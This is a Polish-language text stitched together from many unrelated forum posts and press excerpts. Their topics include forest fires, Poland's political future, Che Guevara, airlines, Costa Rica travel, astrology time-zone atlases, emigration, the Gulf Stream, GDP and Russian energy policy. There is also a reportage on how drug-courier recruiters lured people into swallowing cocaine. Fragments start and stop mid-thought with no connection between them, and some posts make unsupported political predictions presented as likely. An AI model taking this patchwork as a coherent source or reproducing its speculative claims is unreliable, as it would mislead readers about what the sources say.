leśnej, przyczyn pożarów i lansować następną "jedynie słuszną i poprawną
metodę". (chociaż w moim prywatnym - podkreślam "prywatnym - czyli nie popartym
konkretnymi badaniami a jedynie różnymi lekturami typu wskazanych przeze mnie)
odczuciu pozostawienie lasu w stanie maksymalnie zbliżonym do naturalnego nie
wyszło by mu na złe, o ile udało by się bez jakiś dramatycznych wydarzeń (patrz
wałkowany przez nas pożar) przejść od gospodarki "sterowanej" do naturalnej.

No i w ten sposób dotarliśmy do zagadnień globalnych typu tempo i znaczenie
zmian klimatycznych oraz równowaga w ekosystemach , ale to już chyba temat na
zupełnie odrębny dłuuuuugi wątek ;)

(Z mojego ogródka: pinus cembra var. sibirica nie chciała mi skiełkować
mimo "podręcznikowego" potraktowania "orzeszków" :( żałuję że nie zostały
zjedzone - byłby z nich lepszy pożytek ;)

musze sie wtracic.
"popytalem pare osob i odpowiedzieli mi ze to im sie nie oplaci jesli zarobia
$1 na plycie!!! tego brakowalo to by sie sprzedawalo... to sie jednak nie
oplacilo im wtedy, a goowno (za przeproszeniem) mieli."

Tu musze sie calkowicie zgodzic. Tak faktycznie jest i ja tez mam takie
doswiadczenia. Jednak nie moge sie do konca zgodzic z uogolnieniem, poniewaz sa
ludzie chetni do wspolpracy tylko trzeba umiec ich znalesc a nastepnie umiec
ich kontrolowac. Mamy 21 wiek i nie jest to zasadniczo trudna sprawa.
Jezeli mamy jakis interes - to nie mozemy polegac na jakims Franku czy Jozku z
Warszawy - musimy miec pewnosc. Wiec niejako od nas zalezy jak sobie
organizujemy wspolprace. Sa banki, pelnomocnicy, wspopracownicy i interes
potrafi sie rozkrecic. Nawet sam z siebie. Tak juz jest.

"przecinek przewiduje koniec Polski za 50 lat... cholera ale perspektywy...hehe"

Nie do konca jestem przekonany.
Uwazam, ze to jest tak, jak z walutami.
Nie da sie tego calkowicie przewidziec.

Ja zacytowalem opinie jednego faceta, ktory byl w Polsce 2 tygodnie temu.
Ja bylem pare lat temu i mam troche inny oglad.

Mysle, ze to zmierza w tym kierunku i nalezy sie temu jakos przeciwstawic.
Jak sie Polacy w koncu dobudza, wypija z rana kawke i otworza zdziwione oczeta,
to jest szansa na to, zeby cos w tym kraju zmienic wspolnymi silami.

Ciagle jeszcze jest sprzyjajaca sytuacja geopolityczna.

Ale jezeli Polacy nadal beda tacy bierni, glupi i zapatrzeni w lewice - to
faktycznie za paredziesiat lat bedzie klops.

Mozliwe, ze ta konstytucja europejska przejdzie, polskie sily zbrojne zostana
rozwiazane, albo beda szczatkowe, zniknie waluta PLN, znaczna czesc wladzy
ustawodawczej ulegnie rozwiazaniu wskutek dzialan PO - poslow bedzie ze 100 a
senatu nie bedzie - rzady beda marionetkowe a do Polski naplyna kapitaly
wykupujac wszystko na pniu.

To teoretycznie perspektywa kolejnych 10-20 lat i Polska bedzie calkowicie
zalezna od prawodawstwa zewnetrznego i trybunalow zagranicznych.

Gdyby zalozyc perspektywe oderwania Slaska na rzecz Niemiec - to wplywy
podatkowe Polski spadna o jakies 30%.

Wtedy zostanie dumna nazwa na mapie, pare flag i pelne statki emigrantow do
Ameryki Poludniowej jak w latach 20-tych.

Tak moze byc. Ale nie musi.
Jak narazie nie ma na scenie politycznej zadnej sily mogacej przerwac ten
rozwoj wydarzen. Wydarzen ewidentnie zaplanowanych i konsekwentnie
realizowanych przez "unie europejska".

Ja jednak wierze gleboko ze ktos sie pojawi i nie bedzie to za pozno.

Muszę Ciebie zmartwić Rychu ale nie szanuję Adolfa Hitlera i wiem co to
faszyzm, nazizm, walka rasowa i antysemityzm. Co do drugiej wypowiedzi na temat
wyjazdu Ernesto Guevary to jak mam Ciebie całkiem olśnić to był pewien człowiek
nazywał się Camilo Cienfuegos. Zginął w niewyjaśnionych okolicznościach (do
dzisiaj nad brzegiem nad którym rozbił się jego samolot dzieci rzucają w
rocznicę kwiatki na wodę) i był prawdopodobnie zabity na rozkaz Fidela Castro,
również Guevara nie pasował Castro i podobno też został wystawiony na śmierć w
Boliwii. Co do "wykazania" to wykazać możesz się Ty przyjeżdżając na zakupy z
Przemyśla do Rzeszowa, a Guevara nie chciał sie wykazać tylko marzył bhy
ogarnąć cały kontynent latynoamerykański rewolucją, która by doprowadziła po
systemu komunistycznego. Wybór na Boliwię padł nieprzypadkowo. Che nie siedział
przy butelce piwa i w pijanym widzie nie trafiał palcem na mapie, w którym
miejscu zrobi rewolucję. Nie jestem jego mitem zaczadzony bo nie zaliczam się
do tych co chodzą w koszulkach z jego podobizną i nie pije herbaty z kubką z
również jego podobizną tylko wiele o nim czytałem i powiem Ci, że jak na
egzaminie na Uniwersytecie Jagiellońskim opowiadałem o Guevarze to wykłądowcy
UJ nie wamwiali mi, że jestem zaczadzony. Wiem co mi odpiszesz, że pewnie
wykładowcy na UJ również są zaczadzeni i opętani mitem Guevary :-). Film
pokazuję natomiast głównie piękno Ameryki Łacińskiej, a dokładnie Ameryki
Południowej i pozwala zrozumieć dlaczego Argentyński student medycyny dążył
przez całe późniejsze życie do komunizmu. Czy wyrządził tyle zła ? Na pewno
wyrządził zło ale jak już kiedyś pisałem rewolucja wymaga krwi i ofiar. Na
koniec powiem Ci, że w Boliwii w miejscu w którym zginął do dzisiaj jest
uważany za świętą postać, a ludzie w niedoli modlą się do Che Guevary bo
podobnjo taka modlitwa pomaga w wielu sytuacjach. Również na Kubie ludzie go do
dzisiaj szanują. Powiem tak na wiece obowiązkowe Castro przychodzi dużo ludzi
ale jak napisalem jest to obowiązkowe natomiast gdy kilka lat temu sprowadzili
zwłoki Guevary do La Habany to na ulice wyszły tłumy by pożegnać swojego
ukochanego wodza.

O tak ...Ameryka Południowa ,tam bym tez chciała pojecha....ale to
nieziszczalne marzenie....jakie to szczęscie ze mam NATIONAL GEOGRAFIC i
TRAVEL ,chociaz tak podrózuje i to nawet nie palcem na mapie.

Coz Nocny Lot...Saint-Exupery to ty nie jestes. Ale mniejsza z tym....

Jakie Alitalia ma obowiazki z racji przynaleznosci do IATA w przypadku
odwolania lotow z powodu strajku wiem, podobnie jak wiem jakie obowiazki ma
LOT w przypadku zagubienia bagazu w mysl Konwencji Warszawskiej.

Tylko sprobuj od nich WYDOSTAC de facto te pieniadze!!! :-(((

Ciesze sie, ze nie mozesz sobie przypomniec wypadkow Iberii.
Ja zreszta nie pisalem o liczbie katastrof (tak jak nigdy nie pisalem ze
Airbusy to ZLE samoloty, a jedynie, ze szereg typow Boeinga jest lepszych-pewna
roznica!), a o uslugach , puktualnosci, a takze "dryfowaniu" na trasie
zmuszajacego do odnotowania tego przez kapitanow innych linii jako tzw. "near-
miss". Masz watpliwosi-sprawdz sam [dane FAA]!

I nie insynuuj mi prosze jakiego patriotyzmu lokalnego. Nie jestem Azjata, ani
Kiwi, ani Aussie, a jednak, jesli przeczytasz uwaznie, na okreslonych trasach
wyraznie przelozylem pod wzgledem jakosci uslug linie australijskie (Qantas),
nowozelandzkie (Air NewZealand) chinskie (Cathay Pacific), singapurskie
(Singapoor Airlines) nad amerykanskie. Wole tez osobiscie serwis Lufthansy od
United na trasach d i z Europy (mimo, ze czesto nie mam wyboru-code sharing).

Na temat ignorancji wypowiadal sie nie bede. Punta Arenas (najdalej na poludnie
wysuniete misto na kuli ziemskiej) jest od wielu lat WAZNYM i
OGOLNIE ZNANYM portem lotniczym, niezbednym zwlaszcza w podrozach na Antarktyde.
Poniewaz zakladam, ze potrafisz znalezc na mapie Ameryki Poludniowej Chile, w
nim Patagonie, zas w niej Tierra del Fuego (po polsku: Ziemia Ognista) - podaje
szerokosc geograficzna: 53 stopnie, 9 minut S.

Gdybys nie potrafil ustalic szerokosci geograficznej- poszukaj po prostu
prowincji Magellanes- moze tak bedzie ci latwiej.
Powodzenia w kwerendach! :-)

Jestem starsza pania, bylam w Kostaryce w tym roku - sama. Jakos
nie przyszlo mi do glowy, ze narazam sie na jakies
niebezpieczenstwa. Jesli juz, to na miejscu znalazlam pewna
analogie do Polski. Krete, gorzyste i zle drogi. Jeden z pilotow z
duma opowiadal, ze najwieksza smiertelnosc jest z wypadkow
samochodowych. Zapewne z lekka przesadzil. Mieszkam na stale w USA,
i stad zamowilam hotel, a dla bezpieczenstwa, glownie finansowego,
rowniez taksowke z lotniska w San Jose do miejscowosci nad
Pacyfikiem Jaco ( czyt. hako), ktora byla moja baza wypadowa. Tak mi
wyszlo z mapy i odleglosci do atrakcji turystycznych.
Kostaryka to uroczy kraj i nieprawda jest, ze jest biedny. Moze na
standarty polskie. To najbogatszy, obok Panamy, kraj Ameryki
Srodkowej. Tu nie ma jak w Brazylii i innych krajach Poludniowej
Ameryki zebrzacych, a srednia dlugosc zycia, co mozna sprawdzic w
statystykach, nalezy do najwyzszych na swiecie. Na pewno jest wyzsza
niz w Polsce. Ciekawostka jest, ze kraj ten nie posiada armii. W
kraju tym ze wzgledu na piekno terenu, niskie ciagle koszty
utrzymania, tania i profesjonalna opieke zdrowotna osiedla sie wielu
amerykanskich emerytow. Biznes nieruchomosci kwitnie. Jesli komus
sie marza zlociste plaze, to dosyc trudno je tu znalezc, bo plaze
naogol sa pochodzenia wulkanicznego, ale szkoda czasu na
plazowanie - tak wiele tu mozliwosci do spedzenia czasu, a sam Ocean
cudowny dla milosnikow sportow wodnych.
Ja zatrzymalam sie w hotelu prowadzonym przez rodzine holenderska
od lat tu osiadlona, w porownaniu z luksusowym resortami tanio.
Hotel ukryty w cichej uliczce wsrod tropikalnej roslinnosci - 100
metrow od glownej i jedynej ulicy letniska (ciagnie sie kilka
kilometrow), a po przejsciu ulicy za dalszych 100 metrow ocean. W
kazdym hotelu mozna zamowic wszelkie dostepne wycieczki, a takze w
wielu miejscach auto.
Wszystkim polecam Kostaryke i koniecznie wycieczke do Cloudly
Forest, inne rowniez. Radze tez zaopatrzyc sie w slowniczek
hiszpanski, bo jednak nie wszyscy tu mowia po angielsku, nawet w
obsludze turystow.


> Bo jeszcze mnie nie znasz ;)))

Masz na plecach jakiś malunek? Mapę Ameryki Południowej na przykład? :)

Stany Zjednoczone miały (i niektóre miejsca dalej mają, podobnie w Kanadzie jest
kilka takich wyjątków) dziwny dla nas Europejczyków mechanizm ich wprowadzania.
W Europie odpowiednie dekrety wydają rządy. W Stanach dzieje się to na poziomie
hrabstw i miast. Stany na granicy stref w sposób dowolny (każde hrabstwo
oddzielnie!) decydują w której strefie się znajdą, a jako że decydują
niezależnie to dla takiego Stanu potem jest bardzo drobny patchwork na mapie
zmiany czasów. A jako że w stanie jest sto kilkadziesiąt hrabstw, ręczne (skąd
wziąć źródła?) sprawdzenie i uzupełnienie zmian czasów letnich względem innego
atlasu zmian czasów dla jednego stanu to czasem tyle pracy, co sprawdzenie
całej, bardziej zuniformowanej, reszty świata. Dlatego do tych celow w Uranii
jest interfejs do zewnętrznego elektornicznego Amercian Atlas firmy ACS; wersja
online tego atlasu jest na www.astro.com/atlas . W dodatku ten atlas
online zawiera wiele poprawek względem oryginalnego atlasu, który dla niektórych
miejsc od wielu lat - czasem kilkunastu - nie miał aktualizacji. Notabene 2 lata
temu porównałem dane w nim zawarte z darmowym unixowym narzędziem zoneinfo, to
poza USA oryginalny atlas miejscami to po prostu jedna wielka dziura,
szczególnie dla ameryki południowej, afryki czy europy środkowoej i wschodniej.

A już zupełna pułapka dla astrologa to polityka niektórych krajów (np. Pakistan
czy Argentyna) gdzie zmiany czasów wprowadza się z dnia na dzień a czasem i
wstecznie. Tu przypadek Pakistanu z jesieni zeszłego roku, gdzie czas letni
przedłużono praktycznie w ostatnim dniu obowiązywania czasu letniego, i np.
potem w przypadku zamachu bombowego astrologowie interpretowali przez kilka
miesięcy horoskop błędnie przesunięty o godzinę, nim źródła online poprawiły
swoje bazy zmian czasów (linki do tych które to najszybciej wyprostowały u mnie
na stronie z linkami).

Pozdrawiam serdecznie
Bogdan Krusiński
horoskopy ludzi i wydarzeń

No Lipcowa, chociaz raz jakis normalny post z Twojej strony,ale cos
mi sie kojarzylo,ze mieszkasz w Londynie. Pomijajac to, rozumiem
kazde Twoje zdanie. Po prostu czujesz sie tu samotna, moze dlatego
ze wlasnie zmienialas prace, miejsca zamieszkania zbyt czesto,wtedy
zawsze pozostanie sie "tym nowym, w nowym miejscu".

Jezeli czujesz ze bedziesz szczesliwsza w Pl, to pewnie ze wracaj i
nie bede Cie przekonywala, zebys to zostala. Tak naprawde mysle, ze
wiekszosc z nas chcialaby mieszkac w swoim krajum wsrod rodziny, na
poziomie i mozliwosciami jak np w UK,ale coz pomarzyc mozna, a na
razie ja na przyklad staram sie sobie stworzyc tu taki swiat zeby
czuc sie dobrze, ale Polska bedzie mi bliska, lecz nie jako kraj ale
teskno mi do rodziny, wspolnych urodzin, imienin, ze mama moze wpasc
kiedy chce, ze mozna wpasc na niedzielny obiad i posmiac sie z
rodzenstwem. Ja podobnie jak Ty nie udczuwalam ze emigracja mi w
jakims stopniu doskwiera, dopoki nie urodzilo sie nam dziecko. Wtedy
uswiadomilam sobie jak bardzo brakuje mi rodziny za rogiem.
Chociaz my tu mamy swoj ladny doemk z kawalkiem ziemi heh 5 na 5m2
heh to i tak marzy mi sie dom w Pl.

Druga sprawa, wracajac do tematu co lepsze tu dla dzieci, a
mianowicie, ze nie beda tak zahukane jak w Pl. Ze beda mogly
podrozowac bo bedzie ichna to stac. My z mezem rowniez bylismy w
AU,Nowej Zelandii, USA, Ameryce poludniowej, Tajlandii, Indiach...
niestety dzieki temu ze tu mieszkamy i zarabiamy, w Pl to nawet nie
smialabym palcem po mapie przejechac po tych krajach.Tutaj, bedac 7
lat "pozylismy" i nie musze sie cykac kupujac cos dla dziecka.
Owszm korzystam z wyprzedazy i nie rzucam sie, ale zyjemy
przyzwoicie, spokojnie, stac na wyjscie do restauracji, do kina, na
wakacje. To ja moge leciec do Polski kilka razy w roku bo mnie stac,
mieszkajac w Pl, moze raz do roku bym przyleciala do rodziny w
Londynie, wiec ot taki moj wywwod,mam nadzieje niezbyt zakrecony:)

stefan4 napisał:

> Skoro się znasz, to mi wytłumacz. Słodka woda, nawet bardzo zimna, jest lżejsz
> a
> od słonej, nawet cieplejszej. Wobec tego będzie płynąć nad nią. Czy więc wody
> z lodowców grenlandzkich w ogóle zauważą jakieś podmorskie wzniesienia?
> Czy raczej rozleją się po powierzchni północnego Atlantyku?

****************************

Chwilowo nie mogę odnaleźć strony z tą hipotezą, ale jak się z tym uporam to Ci
podrzucę - jeżeli nie w tym, to w innym wątku. Wytłumaczenie powstało jako
odpowiedź na film pojutrze. Dopowiem z pamięci, że wspomniane pasmo podmorskich
gór poważnie ograniczy penetrację Atlantyku przez wychłodzone wody - będą w
sporej części zawracały i możliwość mieszania wód będzie ograniczona i przez to
dłuższa.

W każdym bądź razie hipoteza uwzględnia więcej czynników, niż typowe
przedstawienie sprawy, które można znaleźć na wielu stronach. Podobnie jest w
przypadku regionów klimatycznych: pas Karpaty-Alpy jest wyraźną barierą w
Europie, Góry Skaliste w Ameryce Płn., Andy w Ameryce Płd. oraz Ural w Rosji.

Zwróć też uwagę na powtarzający się błąd w diagramach wskazujących na załamanie
się Golfsztromu. Z map prądów morskich wyniki, iż odnogi Prądu Zatokowego
działają aż do mórz Karskiego i Barentsa, a na apokaliptycznych diagramach
kończy on swój żywot u południowych brzegów Islandii. To poważne uproszczenie.
Sama natura Prądu Zatokowego jest na tyle skomplikowana, że nie można posłużyć
się tu uproszczeniem z prezentacji Ala Gore'a i pominąć czterech głównych
czynników odpowiedzialnych za powstawanie prądów: nagrzewania przez słońce,
wiatry, grawitację i efekt Coriolisa.

Tu link do dobrej mapy:
www.polkart.com.pl/PRODUKTY/PODRECZN/SWIAT/prady.jpg

dobra napisze moze tak:
napisalam z czym kojarzy mi sie polska
o zimno i szarosc moglabym zapytac udajac sie do jakiegokolwiek kraju polnocy
a ze polska kojarzy mi sie rowniez z agresja na ulicach
oraz porannym trolejbusem pelnym wymietych ludzi w jesionkach
pytalam rowniez o to
co moje pytania maja wspolnego z domniemanym poczuciem wyzszosci i pogarda dla polski i polakow
nadal nie wiem
mam wrazenie ze emigrantowi nie wolno mowic o tym co dobre w jego nowym kraju
a jakakolwiek ewentualna krytyke czy chocby niepochlebne dla polski porownania TRZEBA TAKTOWNIE PRZEMILCZEC

czy ja komus mowie ze jest gorszy bo zostal ?
nie
ja mowie ze pogoda jest gorsza
dla mnie, do cholery, moge dodac

czy ja mowie ze jest bieda?
ja konstruuje moj obraz polski na podstawie wiadomosci otRzymanych od mieszkajacych w moim rodzinnym miescie polakow
wiec do kogo te pretensje?

czy ja mowie ze bija na ulicach?
nie , ja pytam czy bija
tak jak kiedys bili

o kradzieze pytam bo czytam ze kradna i chce wiedziec czy to jakis ewenement czy norma

nie podoba ci sie to nie wracaj!
czy moja obecnosc w polsce wymaga totalnej afirmacji tego kraju?
a moze tylko pozostanie na jej terenie dawaloby mi prawo do krytyki?

no wiec moj ulubiony kumpel mowi:
ty wiesz jakie u nas sa promocje: kup jedna pare soczewek , zaplac za dwie!

nie lubicie tych co wyjechali i przeliczaja teraz wszystko na funty
szpanerow przebrzydlych a podlych?
hmm, ja przeliczam wszystko na euro tak jak na zlotowki przelicza wszystko swiezoprzybyly do obcego kraju polak
to sila przyzwyczajenia

gdbyscie moi drodzy krytycy udali sie na wakacje na antarktyde, czy nie ogarnelaby was w ostatniej chwili przed zaplanowanym wyjazdem obawa przed spodziewanym tam zimnem?
czy jadac do pieknej rumunii nie balibyscie sie kradziezy?
naczytawszy sie o niestabilnej sytuacji wielu krajow ameryki poludniowej - nie ogarnalby was lek przed bezzsadna agresja tubylcow?

polska to tylko jeszcze jedno takie sobie panstwo
ani najgorsze ani najlepsze na swiecie
w tym ujeciu smieszne, w tamtym straszne, w jeszcze innym piekne
zadna tam swietosc ktorej nie smie czlowiek slowem uragac

wybaczcie, ze byc moze zranilam wasza dume moimi pytaniami
nie kazcie mi padac na kolana przed kawalem ziemi tylko dlatego ze to moja ojczyzna

"Ojczyzny Mojej Nie Znajdziesz Na Żadnej Mapie
Ojczyzna Moja Jest... Tam Jest Mój Dom!
Ojczyzny Swojej Nie Szukaj Na Żadnej Mapie
Twój Dom Jest Tam Gdzie Kochają Cię!
Ojczyzny Swojej Nie Szukaj Na Żadnej Mapie
Twój Dom Jest W Sercach Ludzi..."

Człowieku, nie osłabiaj mnie. Wiesz po co wymyślono PKB według siły nabywczej?
Właśnie po to aby usunąć zafałszowanie wynikające z kursu i zmian kursowych.
Przykład? Ostatnio tąpnęła złotówka o 1/3. Czyli PKB Polski wyrażony w dolarach
zmalał o 1/3. Według twojego rozumowania powinno nam się żyć o 1/3 gorzej. Jest
tak? No, nie sądzę. Dalej. W jednym kraju bułka kosztuje $0.5 a w drugim $3.
Mając tyle samo pieniędzy w którym kraju możesz więcej zjeść? W rezultacie mając
np $800 miesięcznie w Afryce będziesz żył jak panisko, codziennie nowa ku...,
służba domowa etc. W Polsce będziesz żył na przeciętnym poziomie a w USA
dołączysz co najwyżej do pariasów mieszkających w zdezelowanym motorhome w
kontynentalnej Ameryce a w NY zostaniesz bezdomnym bo tyle właśnie kosztowało
parę lat temu) wynajęcie najtańszej nory w podejrzanej dzielnicy. Dostępność nie
ma tu nic do rzeczy, skoro mówimy o PKB. Jeżeli coś zostaje wytworzone to w
rezultacie i tak na końcu ląduje na stole ludzi a "niedostępność" mówi jedynie o
nadmiarze pieniądza w stosunku do towarów i braku automatycznej inflacji, która
powinna natychmiast skorygować ten nadmiar. Stąd puste półki w sklepach i pełne
lodówki w domach w latach 80-tych.
Dalej. Socjalistyczna Nikaragua? Jaja sobie robisz? Tam nawet nie ma
kapitalizmu. Najbardziej to przypomina feudalizm. Powinieneś po wzięciu mapy
zrobić następny krok i poczytać coś o tych krajach które widzisz na mapie.

nie wystepują
> tam nawet w śladowym stopniu takie fenomeny jak migracja NA
> Kubę, nawet z owego nieszczęsnego Haiti...

A do Meksyku istnieją? Po co, skoro USA za progiem. Po za tym, podejrzewam, ze
nie jest łatwo wyemigrować na Kubę. No ale mój drogi możesz zawsze wyemigrować
na Haiti. Jako Polak z miejsca dostaniesz obywatelstwo ;-PPP

> adekwatne jest zestawienie poziomu obecnego z poziomem pierwotnym -
> a ten był 50 lat temu nieporównanie wyższy niż w przypadku
> otoczenia: Kuba była czymś w rodzaju regionalnego Kuwejtu, z
> poziomem rozwoju porównywalnym z południowymi stanami USA i
> spożyciem wielu artykułów konsumpcyjnych wyższym niż w niektórych
> krajach zachodnioeuropejskich, m.in. we Włoszech czy w Hiszpanii
> (zapraszam do zapoznania się choćby z rocznikami statystycznymi z
> tego okresu, publicznie dostępnymi w bibliotekach).

Proszę o link a nie obietnice. Według PPP. A Portoryko to zupełnie inna para
kaloszy.

i ta mapa przedstawia półkulę PÓŁNOCNĄ
Widać Grenlandię, Islandię, Skandynawię, na prawo od Ameryki jest Azja.
Śmiechu warte.
Ale swoją drogą jeśli przed Cookiem istniały legendy o wielkim południowym
lądzie, to musiały skądś się wziąć.


Odbudowa Imperium pogrąża w marazmie rosyjską gospodarkę.Rosja to ostatni wielki
rynek na świecie realizujący styl konsumpcji zbliżony do zachodniego. I jej
wejście w obieg gospodarczy Zachodu mogło stać się kołem zamachowym rozwoju
całej Europy. Tymczasem Rosjanie z wyboru zepchnęli się do roli gospodarki
trzecioświatowej całą energię pakując w rozwój eksportu surowców. Bo
potrzebowali kasy na wojsko, łatanie dziur budżetowych i kupowanie społecznego
spokoju. Efekt jest niepokojący. Bo przy spadku cen ropy i gazu cały system się
chwieje. . Jeszcze jest 200 miliardów dolarów rezerw, ale topnieją one w
zastraszającym tempie. Rosja za chwilę stanie przed wyborem: wywołać jakąś
wojenkę na Bliskim Wschodzie czy Gruzji albo zrezygnować z imperialnych ambicji.

Rosja Putina rozprawiwszy się z oligarchami zaniechała również inwestycji w
infrastrukturę wydobycia i transportu ropy i gazu. Patrzymy na mapy i realne
wydają się groźby Rosjan: jak Europa nie będzie grzeczna to sprzedamy naszą ropę
i gaz do Chin i Japonii. A figa. Żeby to zrobić trzeba poprowadzić rurociągi
przez tysiące kilometrów wiecznej zmarzliny. A tam nie da się po prostu wkopać
rury. Trzeba ją położyć nad ziemią, na palach wbitych kilkanaście metrów w
grunt. Inaczej mówiąc potrzeba na to czasu i gigantycznych pieniędzy. Jak
baryłka ropy kosztowała 140 dolarów to miało to sens. Teraz ekonomicznie rzecz
się nie spina. Podobnie jak inne projekty politycznych rurociągów z bałtyckim
włącznie.
Po wojnie rosyjsko-gruzińskiej w Europie nastąpiła głęboka zmiana myślenia o
Rosji. Moskwa przestała być traktowana jak członek tego samego klubu. A co za
tym idzie Europa staje się wobec partnera rosyjskiego trochę bardziej solidarna.
Fakt, że ruszyły prace nad budową wspólnej polityki energetycznej Europy jest
dla Rosji ważniejszy - i groźniejszy - od wszelkich politycznych deklaracji. Bo
stworzenie kartelu odbiorców ropy i gazu oznacza w przybliżeniu tyle, że
Rosjanie MUSZĄ sprzedać swoje surowce do Europy - nie mając przed dobre parę lat
alternatywnego rozwiązania. A Europa MOŻE je w Rosji kupić. Ale może też w
Afryce, Norwegii czy Ameryce Południowej. Jakoś nikt się nie przestraszył
szantażu Putina, który straszył wstrzymaniem budowy gazociągu pod
Bałtykiem.Wszystko sie zmienia z dnia na dzien..

Najtańsze samochody świata
Meksyk w Ameryce Południowej? Przydałyby się puzzle do ułożenia
mapy świata, byłyby bardzo przydatne i jednocześnie rozrywkowe.
Czy wiecie gdzie można takowe kupić? Szukałam, nie znalazłam.

Halinko,
ja tez korzystalam z angielskiej wersji przewodnika. Polskiego odpowiednika nie
ma, choc jest troche o Wenezueli w przewodniku Pascala po Ameryce Poludniowej,
niestety nie pamietam ktora czesc.
Przewodnik LP po Wenezueli jest z pewnoscia dobry jesli szukasz informacji tzw.
niezmiennych, tzn. informacji o polozeniu wszelkich atrakcji, opisu i
topografii miast, map itp. To bardzo pomaga w planowaniu i na tym sie nie
zawiedziesz. Ale w kazdym z tych przewodnikow sa tez bardzo praktyczne
informacje np. o miejscach noclegowych, knajpkach i atrakcjach rozrywkowych. Ta
czesc w przewodniku wenezuelskim jest naprawde kiepska. To nie jest moze
najwazniejsze, ale pomaga zaoszczedzic czas, bo nie musisz sama ganiac po
miescie i sprawdzac gdzie przenocowac albo zjesc. Naturalnie zakladam, ze mimo
wszystko wiekszosc podrozujacych z tym przewodnikiem ma jakies ograniczenia
budzetowe ;-) bo jesli nie to nie ma o czym mowic.
Sam fakt, ze wiele rzeczy nie zgadzalo sie z rzeczywistoscia nie jest wina
autorow (nie do konca), poniewaz w Wenezueli wszystko szybko sie zmienia i
naprawde trudno nadazyc za cenami albo nazwami roznych miejsc.
Ja przed wyjazdem przepytalam tych, ktorzy w Wenezueli byli niedawno i
przyznam, ze wiekszosc informacji, ktore dostalam byly bardziej praktyczne i
pomocne niz te, ktore wyczytalam w przewodniku.
Zreszta dzieki tym korespondencjom przedwyjazdowym poznalam wielu wspanialych
ludzi a niektorych udalo mi sie nawet poznac w realu :)
Nie bardzo wiem co dokladnie moze Cie zainteresowac na temat Wenezueli, wiec
jesli masz jakies konkretne pytania to napisz do mnie mail a ja postaram sie
odpowiedziec - kreola@pinezka.pl

Pozdrawiam serdecznie
k.

- Raz w samolocie do Rio tak się spiłem, a do tego paliłem fajki, że po
wylądowaniu od razu deportowali mnie do Europy - opowiada. Nie wiem, czy kłamie,
bo w tym czasie puścił ze trzy oczka.

Chyba ze względu na ten bajer Peter z Bobim kazali mu werbować ludzi.

Krzysiek vel Kristoff zajął się młodszym pokoleniem. Zaczepiał ludzi w
dyskotece, mówił, że załatwia dobrą pracę na Zachodzie. Na omawianie szczegółów
wyjazdu umawiał się na plaży albo w parku. Obserwował kandydata na kuriera i jak
widział, że ma do czynienia z twardym charakterem, mówił wprost, że chodzi o
połykanie kokainy. Jak ktoś się wahał, tłumaczył, że za kamienie szlachetne w
Ameryce Południowej trzeba płacić wysokie cło i ta praca polega na ich
przemycaniu w przewodzie pokarmowym. Całkiem strachliwym mówił, że czeka ich
ciężka harówka przy zmywaniu garów w Amsterdamie.

Za każde ciało Peter z Bobim płacili mu tyle co Rybakowi. - Zarobiłem sporo, ale
nie wiem, ile, bo wszystko przepiłem - mówi i znowu puszcza oczko.

Kilka ważnych słówek

W Amsterdamie Góra, Duma i Tobiasz byli trzy dni. Mieszkanie Murzynów było spore
- w kuchni duża lodówka, w salonie kanapa. Ale nie było w nim mapy. Dlatego jak
Bobi wręczył im bilety lotnicze, nie za bardzo wiedzieli, gdzie leży Lima, a
gdzie Caracas. Zresztą chyba do dziś nie wiedzą. Tobiasz mówi, że za pierwszym
razem był na wyspie "Sanlucia". Przynosi mapę, rozkłada na ceracie i oglądamy.
Palcem pokazuje: Saint Lucia.

- Co robiliście przez trzy dni w Amsterdamie? - pytam Dumę.

- Nic. Peter z Bobim załatwiali nam wizy i bilety, a my siedzieliśmy w mieszkaniu.

- Coś musieliście robić.

- Telewizor oglądaliśmy. Oswajaliśmy się z tym głupim uczuciem, gdy ktoś coś
mówi, a się go nie rozumie.

Na lotnisko w Amsterdamie każdy jechał sam. Nie było wylewnych pożegnań. Brali
torbę, paszport, bilet i jechali z Peterem. Tam Murzyn podprowadzał ich pod
bramki odpraw. Na pożegnanie wręczał po 200-300 dolarów, kartkę z nazwą hotelu i
adresem, telefon komórkowy z pustym kontem.

Zygmunt Góra zabrał ze sobą jeszcze aparat fotograficzny i notes, do którego już
po pierwszym wyjeździe do Surinamu wpisał kilka jego zdaniem ważnych słówek:

adwokat - lawyer, czyt. lo jer;

bać się - fear;

czuć się źle - feel bad;

anioł - angel.

Zakuwał je przez 13 godzin lotu do Sao Paulo.

*
Dalej rozmawiam z Dumą:

- Pierwszy raz pan leciał samolotem?

Inwazja kaczek na Wielką Brytanię, a GW przegapiła
taaaki temat, a GW zawaliła, dziennikarze zaspali,
taaaaaka okazja dowalić Kaczyńskim, a tu nic
ktoś poleci, ale nie do Wielkiej Brytanii, a na bruk.
"Inwazja kaczek na Wielką Brytanię
za PAP - dodane 1 godzinę i 51 minut temu
Najdalej za dwa miesiące na wybrzeża Wielkiej Brytanii rozpocznie inwazję armada złożona z co najmniej 10 tysięcy gumowych kaczuszek, które w ciągu 15 lat pokonały już trasę oceaniczną 27 tysięcy kilometrów.
Żółte kaczuszki, a także żabki i żółwie, pochodzą z transportu gumowych zabawek, który wysłano z Hongkongu do Tacoma w USA. Transport znalazł się w oceanie, gdy gwałtowna burza zmyła z pokładu statku handlowego na samym początku rejsu kartonowe pudła z zabawkami przeznaczonymi na gwiazdkę dla amerykańskich dzieci.
Prądy morskie rozdzieliły flotyllę gumowych zabawek z rozmokłych kartonów na dwie grupy: dwie trzecie - około 20 tysięcy - ruszyło na południe i po przekroczeniu równika dotarło do plaż Indonezji, Australii i Ameryki Południowej.
Druga armada - ponad 10 tysięcy pływających kaczuszek w żółtym kolorze oraz kolorowe żółwiki i żabki popłynęły pchane morskimi prądami na północ z szybkością jednej mili morskiej (nieco ponad półtora kilometra) na dobę.
Przez Cieśninę Beringa, która oddziela Rosję od Alaski, płynąc wśród lodowców, dotarły na Atlantyk. Pierwsze kaczuszki wpłynęły na Ocean Atlantycki w 2000 roku.
Amerykańska firma z Tacomy, która importowała zabawki z Hongkongu, ustanowiła nagrodę dla "łowców kaczuszek": za każdą wyłowioną po 15 latach z oceanu lub znalezioną na plaży oryginalną żółtą kaczuszkę z Hongkongu, która pochodzi z przeznaczonego dla niej transportu, wypłaca 100 dolarów.
Kaczuszki trudno pomylić, gdyż - choć częściowo wyblakłe od soli morskiej i promieni słonecznych - mają nadal czytelną nazwę tej serii wykonanej na amerykańskie zamówienie: "The First Yers Inc."
